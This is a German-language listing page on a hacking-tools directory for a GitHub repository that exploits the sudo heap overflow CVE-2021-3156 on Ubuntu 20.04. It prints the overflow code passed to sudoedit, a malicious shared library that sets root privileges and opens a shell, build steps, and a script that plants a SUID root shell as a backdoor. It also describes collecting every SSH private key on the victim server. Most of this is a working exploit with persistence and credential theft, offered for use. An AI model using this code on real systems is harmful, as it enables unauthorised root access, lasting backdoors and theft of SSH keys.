Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PE_CVE-CVE-2021-3156 — Exploit für Ubuntu 20.04 unter Verwendung von CVE-2021-3156, erweitert mit Post-Exploitation-Skripten | Kitploit
Tools/GitHubGitHub/purpleozone/pe_cve-cve-2021-3156
Privilege EscalationSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsLernen & BildungRed TeamingPayload-EntwicklungBinary-Exploitation
GitHubpurpleozone/pe_cve-cve-2021-3156

PE_CVE-CVE-2021-3156

Exploit für Ubuntu 20.04 unter Verwendung von CVE-2021-3156, erweitert mit Post-Exploitation-Skripten

714vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

PE_CVE-CVE-2021-3156

Exploit für Ubuntu 20.04 unter Verwendung von CVE-2021-3156, erweitert um einfache und automatisierte Post-Exploitation-Skripte

Neben der Root-Shell können Sie haben:

-Eine .txt-Datei mit allen id_rsa SSH-Schlüsseln, die auf dem Server konfiguriert sind. Siehe das Skript: get_all_ssh_keys.sh

-Eine ausführbare Datei privshell, die es jedem Benutzer ermöglicht, eine Root-Shell zu starten (in Arbeit, den gcc-Fehler zu beheben). Siehe das Skript: create_privshell.sh

PoC für das PE_CVE-CVE-2021-3156

Voraussetzungen

Für ein erfolgreiches Ergebnis muss das Opfersystem eine der folgenden Versionen von Betriebssystem und Sudo haben:

-Ubuntu 20.04 (Sudo 1.8.31)

-Debian 10 (Sudo 1.8.27)

-Fedora 33 (Sudo 1.9.2)

image

Um meine VM anfällig zu machen, habe ich meine Sudo-Version mit folgendem Befehl herabgestuft:

root@kitploit:~
$ sudo apt install sudo=1.8.31-1ubuntu1

Exploit

Der Exploit kann funktionieren, solange der Zugriff auf das Opfersystem mit einem Benutzer ohne nennenswerte Berechtigungen erfolgt.

image

Sie können das Repository auf die Maschine des Opfers oder auf Ihre lokale Maschine klonen und es mit wget laden.

image

Führen Sie den Befehl "make" aus, um die .c-Dateien gemäß der Schwachstelle zu kompilieren. image

Sie erhalten die Exploit-Datei und können sie mit "./" ausführen. Nachdem Sie den Exploit ausgeführt haben, sehen wir jetzt zwei Dateien, die im Repository generiert wurden: eine, die alle auf dem System registrierten SSH-Schlüssel enthält, und die andere, die die ausführbare SUID-Datei enthält, die allen Benutzern eine Root-Sitzung gewährt. (in Lila hervorgehoben)

image

Möglicherweise sehen Sie einen Fehler wie den folgenden:

image

Ich versuche immer noch, den Fehler zu beheben, aber ich nehme an, es liegt an der Shell, die den Exploit generiert. Ich habe versucht, den Befehl ./create_privshell.sh als root auszuführen, indem ich über sudo su von einem Benutzer mit entsprechenden Berechtigungen darauf zugegriffen habe, und die Skriptkompilierung war in Ordnung. Alternativ kann es auf einer anderen Maschine kompiliert und auf das Opfer kopiert werden, daher die Existenz einer wget-Anfrage.

Das zu kompilierende Skript ist das folgende:

root@kitploit:~
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell

Sie können jetzt die .txt-Dateien mit allen SSH-Schlüsseln lesen und die privshell verwenden, bis ich den gcc-Fehler behoben habe. image

ÜBER CVE-2021-3156.

Entdeckt von Qualys

CVSS-Score von 7.8

CVE-2021-3156, auch bekannt als die "Baron Samedit"-Schwachstelle, ist eine Sicherheitslücke, die das weit verbreitete sudo-Programm auf Unix-basierten Betriebssystemen betrifft. Sudo ist ein Programm, das Benutzern erlaubt, Befehle mit erhöhten Privilegien auszuführen, normalerweise durch Eingabe ihres eigenen Passworts oder eines Root-Passworts. Die Schwachstelle wird durch einen Pufferüberlauf in der "sudoedit"-Funktion des sudo-Befehls verursacht, die es Benutzern ermöglicht, Dateien mit erhöhten Privilegien zu bearbeiten. Die Schwachstelle wurde erstmals im Januar 2021 von Qualys Research Labs entdeckt und betrifft sudo-Versionen von 1.8.2 bis 1.8.31p2 sowie 1.9.0 bis 1.9.5p1.

###Sehr, sehr technische Details Info von: Qualys

image

image

image

Mit anderen Worten: set_cmnd() ist anfällig für einen heap-basierten Pufferüberlauf, da die außerhalb der Grenzen liegenden Zeichen, die in den "user_args"-Puffer kopiert werden, nicht in dessen Größe einbezogen wurden (berechnet in den Zeilen 852-853).

Für den Überlaufteil habe ich die Datei redhawkeye/sudo-exploit exploit.c verwendet.

Es ist etwas komplex, aber leicht interpretierbar.

root@kitploit:~
 char *env[] = {
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "X/X",
        concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
        NULL
    };

Dieser Teil deklariert ein Array von Umgebungsvariablen env, das an den execve-Systemaufruf übergeben wird. Die Umgebungsvariablen enthalten eine Reihe von Backslashes und eine speziell erstellte Variable namens LC_ALL mit dem Wert "C.UTF-8@" verknüpft mit 208 (0xd0) A-Zeichen. Der Wert C.UTF-8@ wird als Umgebungsvariable LC_ALL an den sudoedit-Befehl übergeben. Die 208 A-Zeichen werden verwendet, um einen Puffer im sudoedit-Programm zu überlaufen und beliebigen Code auszuführen.

root@kitploit:~
  char * a = concat(str_repeat('A', 0x70),"\\");
    char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
    execve(argv[0], argv, env);

Dieser Teil deklariert eine Variable a, die eine Zeichenkette von 112 (0x70) A-Zeichen gefolgt von einem Backslash enthält. Anschließend wird ein Array argv deklariert, das an execve übergeben wird. Das Array enthält den Pfad zum sudoedit-Befehl (/usr/bin/sudoedit), das Flag -s und die oben erstellte Variable a.

root@kitploit:~
  execve(argv[0], argv, env);

Dies ist der eigentliche execve-Systemaufruf, der den sudoedit-Befehl mit den bereitgestellten Argumenten und Umgebungsvariablen ausführt. Das sudoedit-Programm liest die Umgebungsvariable LC_ALL und versucht, sie als Dateipfad zu parsen. Die überlaufenden A-Zeichen werden verwendet, um beliebige Daten in den Speicher zu schreiben und möglicherweise beliebigen Code auszuführen.

Diese im Speicher für die RCE reservierten Daten werden von unserer Datei shell_tool.c verwendet.

root@kitploit:~
__attribute((constructor))
static void sice() {
    setuid(0);
    system("command");
    ...
    system("bash");

Dieser Teil des Codes deklariert eine Funktion namens sice mit dem Attribut attribute((constructor)), sodass die Funktion automatisch aufgerufen wird, wenn das Programm startet, bevor main() ausgeführt wird. Innerhalb der sice-Funktion wird die Funktion setuid(0) aufgerufen, um die effektive Benutzer-ID des Prozesses auf 0 zu setzen, die Benutzer-ID des Superusers oder Root. Dies verleiht dem Programm effektiv Root-Rechte. Danach können wir mit dem Argument system("command") alles tun, was wir wollen, bevor die Root-Sitzung im Terminal erscheint. Deshalb wollte ich die Sache mit dem Scripting versuchen, um einige Hintertüren zu haben und Daten zu exfiltrieren, bevor wir die Root-Shell erhalten.

Ich habe versucht, meine eigene Version des Codes namens mybufferof.c zu schreiben. Grundsätzlich ist sie ziemlich ähnlich, also zögern Sie nicht, das Makefile zu ändern, um es zu testen, jeje.

Über das Makefile

root@kitploit:~
all:
	gcc bufferof.c -o exploit
	mkdir libnss_X
	gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2

Zuerst müssen wir unseren Exploit kompilieren und dann das Verzeichnis "libnss_X" erstellen. Der letzte Befehl kompiliert die Datei shell_tool.c und erstellt eine Shared-Object-Datei namens X.so.2 im libnss_X-Verzeichnis:

Das Flag -g generiert Debug-Informationen für die Shared-Object-Datei.

Das Flag -fPIC erzeugt positionsunabhängigen Code für Shared Objects.

Das Flag -shared gibt an, dass eine Shared-Object-Datei erstellt werden soll.

Die resultierende Shared-Object-Datei X.so.2 wird im im zweiten Schritt erstellten libnss_X-Verzeichnis abgelegt.

Dies ist wichtig für die CVE, aus folgendem Grund:

image

Daten von:Qualys

Das war's, viel Spaß, schätze ich

Tool herunterladen